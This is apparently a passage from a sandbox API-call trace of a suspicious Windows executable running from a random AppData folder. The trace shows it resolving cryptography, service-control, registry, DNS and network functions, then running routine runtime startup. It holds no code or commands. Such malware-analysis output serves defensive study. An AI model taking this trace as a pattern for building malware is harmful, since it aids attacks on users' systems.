0x74d5469d [0059.252] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0059.252] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0059.252] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0059.252] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0059.252] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0059.252] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0059.252] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0059.252] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0059.252] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0059.252] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0059.255] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0059.255] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0059.255] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0059.255] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0059.255] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0059.255] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0059.255] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0059.256] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0059.256] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0059.256] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0059.256] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0059.256] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0059.256] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0059.256] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0059.256] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0059.256] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0059.256] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0059.256] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0059.256] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0059.256] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74b50000 [0059.259] GetProcAddress (hModule=0x74b50000, lpProcName="GetAdaptersInfo") returned 0x74b59263 [0059.259] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0059.261] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0059.261] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0059.261] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0059.261] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a80000 [0059.263] GetProcAddress (hModule=0x74a80000, lpProcName="DnsQuery_W") returned 0x74a9572c [0059.263] GetProcAddress (hModule=0x74a80000, lpProcName="DnsFree") returned 0x74a8436b [0059.263] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0059.263] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0059.263] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0059.266] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0059.267] atexit (param_1=0x67a212) returned 0 [0059.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18dca8 | out: lpSystemTimeAsFileTime=0x18dca8*(dwLowDateTime=0x6b977ff0, dwHighDateTime=0x1d52f22)) [0059.267] GetCurrentThreadId () returned 0xb60 [0059.267] GetCurrentProcessId () returned 0xb5c [0059.267] QueryPerformanceCounter (in: lpPerformanceCount=0x18dca0 | out: lpPerformanceCount=0x18dca0*=17957585446) returned 1 [0059.267] GetStartupInfoW (in: lpStartupInfo=0x18dc38 | out: lpStartupInfo=0x18dc38*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="taskeng.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x81, wShowWindow=0x4, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0059.267] GetProcessHeap () returned 0x620000 [0059.267] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0059.267] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0059.267] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0059.267] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0059.268] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0059.268] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0059.268] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0059.268] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0059.268] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0059.268] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0059.268] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0059.268] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0059.268] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0059.268] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0059.268] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0059.268] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0059.269] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0059.269] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0059.269] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0059.269] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0059.269] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0059.269] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0059.269] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0059.269] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0059.269] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0059.269] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0059.269] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0059.270] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0059.270] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0059.270] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0059.270] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0059.270] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0059.270] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0059.270] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0059.270] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3bc) returned 0x6cb278 [0059.270] GetCurrentThreadId () returned 0xb60 [0059.270] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x18) returned 0x6c1960 [0059.271] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x800) returned 0x6cb640 [0059.271] GetStartupInfoW (in: lpStartupInfo=0x18dc08 | out: lpStartupInfo=0x18dc08*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="taskeng.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x81, wShowWindow=0x4, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0x44195210, hStdError=0x771645f5)) [0059.271] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0059.271] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0059.271] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0059.271] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe\" --Task" [0059.271] GetEnvironmentStringsW () returned 0x6cbe48* [0059.271] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xaca) returned 0x6cc920 [0059.271] FreeEnvironmentStringsW (penv=0x6cbe48) returned 1 [0059.271] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe")) returned 0x5b [0059.271] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xd2) returned 0x6cbe48 [0059.271] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x98) returned 0x6cbf28 [0059.271] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3e) returned 0x6c05d0 [0059.271] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x6c) returned 0x6cbfc8 [0059.271] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x6e) returned 0x6cc040 [0059.271] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x78) returned 0x6be710 [0059.271] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x62) returned 0x6cc0b8 [0059.271] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2e) returned 0x6c7070 [0059.271] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x48) returned 0x6c2d58 [0059.271] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x28) returned 0x6c6a18 [0059.271] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1a) returned 0x6caf10 [0059.271] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x4a) returned 0x6cc128 [0059.271] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x72) returned 0x6be790 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x30) returned 0x6c70a8 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2e) returned 0x6c70e0 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1c) returned 0x6caf38 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0xd2) returned 0x6cc180 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x7c) returned 0x6cc260 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x36) returned 0x6cc2e8 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3a) returned 0x6c0618 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x90) returned 0x6cc328 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x24) returned 0x6c6a48 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x30) returned 0x6c7118 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x36) returned 0x6cc3c0 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x48) returned 0x6c2da8 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x52) returned 0x6cc400 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3c) returned 0x6c0660 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x82) returned 0x6cc460 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2e) returned 0x6c7150 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1e) returned 0x6caf60 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2c) returned 0x6c7188 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x54) returned 0x6cc4f0 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x52) returned 0x6cc550 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2a) returned 0x6c71c0 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3c) returned 0x6c06a8 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x54) returned 0x6cc5b0 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x24) returned 0x6c6a78 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x30) returned 0x6c71f8 [0059.272] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x8c) returned 0x6cc610 [0059.272] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6cc920 | out: hHeap=0x620000) returned 1 [0059.273] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x80) returned 0x6cc6a8 [0059.273] GetLastError () returned 0x0 [0059.273] SetLastError (dwErrCode=0x0) [0059.273] GetLastError () returned 0x0 [0059.273] IsValidCodePage (CodePage=0x4e4) returned 1 [0059.273] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18dbfc | out: lpCPInfo=0x18dbfc) returned 1 [0059.273] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d6c4 | out: lpCPInfo=0x18d6c4) returned 1 [0059.273] GetLastError () returned 0x0 [0059.273] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0059.273] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18d208, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0059.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18d9d8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xa0\x55\x19\x44\x14\xdc\x18", lpUsedDefaultChar=0x0) returned 256 [0059.273] GetLastError () returned 0x0 [0059.273] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0059.273] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18d218, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0059.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18d8d8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77